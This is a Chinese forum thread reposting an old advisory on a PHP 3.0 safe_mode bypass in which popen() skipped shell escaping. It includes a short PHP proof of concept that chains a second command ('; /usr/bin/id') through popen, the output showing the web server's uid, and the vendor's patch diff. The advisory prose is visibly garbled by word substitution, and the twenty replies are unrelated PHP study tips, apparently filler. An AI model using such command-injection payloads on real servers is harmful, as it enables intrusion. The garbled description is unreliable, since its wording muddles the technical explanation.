仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1405|回复: 19
打印 上一主题 下一主题

[学习教程] PHP网站制作之PHP3 safe_mode 生效破绽

[复制链接]
再现理想 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:04:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
让好朋友来看看,嘿,看咱写的多棒,然后再在网上宣传一下。   受影响的体系:  PHP 3.00  
--------------------------------------------------------------------------------
描写:
  
    PHP Version 3.0是一个HTML嵌入式剧本言语。其大多半语法移植于C、Java和Perl并联合了
PHP的特征。这个言语可让web开辟者疾速创立静态网页。
   
    因其履行在web办事器上并答应用户履行代码,PHP内置了称为'safe_mode'的平安特征,
用于掌握在答应PHP操作的webroot情况中履行号令。
   
    其完成机制是经由过程强迫履行shell号令的体系挪用将shell号令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目次内部不克不及履行号令。
   
    在某些版本的PHP中,利用popen()号令时EscapeShellCmd()却生效了,形成歹意用户可
以使用'popen'体系挪用停止不法操作。
  
--------------------------------------------------------------------------------
测试法式:
  
警 告:以下法式(办法)能够带有进击性,仅供平安研讨与教授教养之用。利用者风险自信!
  
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
   
输入了局以下:
   
1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
   
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
   
- fp = popen(buf,p);
   
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  在一个团队之中或者说是在一个公司的工作岗位上,需要注重团队之间的交流合作;在学习或工作上都要端正自己的态度,要以认真的态度来对每件事,这样才能让自己更快的投入、更快的学习,而不至于浪费自己的时间。
活着的死人 该用户已被删除
沙发
发表于 2015-2-4 08:31:04 | 只看该作者
至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。
灵魂腐蚀 该用户已被删除
板凳
发表于 2015-2-6 14:56:20 | 只看该作者
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
只想知道 该用户已被删除
地板
发表于 2015-2-10 06:16:05 | 只看该作者
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
深爱那片海 该用户已被删除
5#
发表于 2015-2-16 07:00:39 | 只看该作者
这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己
小妖女 该用户已被删除
6#
发表于 2015-2-22 09:47:10 | 只看该作者
环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。
若天明 该用户已被删除
7#
发表于 2015-2-28 21:42:50 | 只看该作者
在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、
不帅 该用户已被删除
8#
发表于 2015-3-10 08:07:39 | 只看该作者
,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。
因胸联盟 该用户已被删除
9#
发表于 2015-3-17 05:27:30 | 只看该作者
Apache不是非得用80或者8080端口的,我刚开始安得时候就是80端口老占用,就用了个 81端口,结果照常,就是输localhost的时候,应该输入为 localhost:81
第二个灵魂 该用户已被删除
10#
发表于 2015-3-23 21:51:33 | 只看该作者
再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。
小女巫 该用户已被删除
11#
发表于 2015-3-30 08:05:31 | 只看该作者
我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。
透明 该用户已被删除
12#
发表于 2015-4-6 03:11:44 | 只看该作者
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
愤怒的大鸟 该用户已被删除
13#
发表于 2015-4-11 00:09:05 | 只看该作者
这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。
飘飘悠悠 该用户已被删除
14#
发表于 2015-4-15 16:46:45 | 只看该作者
我还是推荐用firefox ,配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用,因为谷歌的大侠们实在是太天才啦,把一些原来的js代码加了一些特效。
再现理想 该用户已被删除
15#
 楼主| 发表于 2015-4-17 21:05:07 | 只看该作者
先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。
飘灵儿 该用户已被删除
16#
发表于 2015-4-24 14:14:55 | 只看该作者
我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。
金色的骷髅 该用户已被删除
17#
发表于 2015-5-1 20:09:13 | 只看该作者
当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标,
山那边是海 该用户已被删除
18#
发表于 2015-5-6 05:10:23 | 只看该作者
曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线  \\\\\\\'_\\\\\\\' ;
19#
发表于 2015-6-5 13:11:52 | 只看该作者
如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
蒙在股里 该用户已被删除
20#
发表于 2015-6-9 09:31:01 | 只看该作者
如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 02:44

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表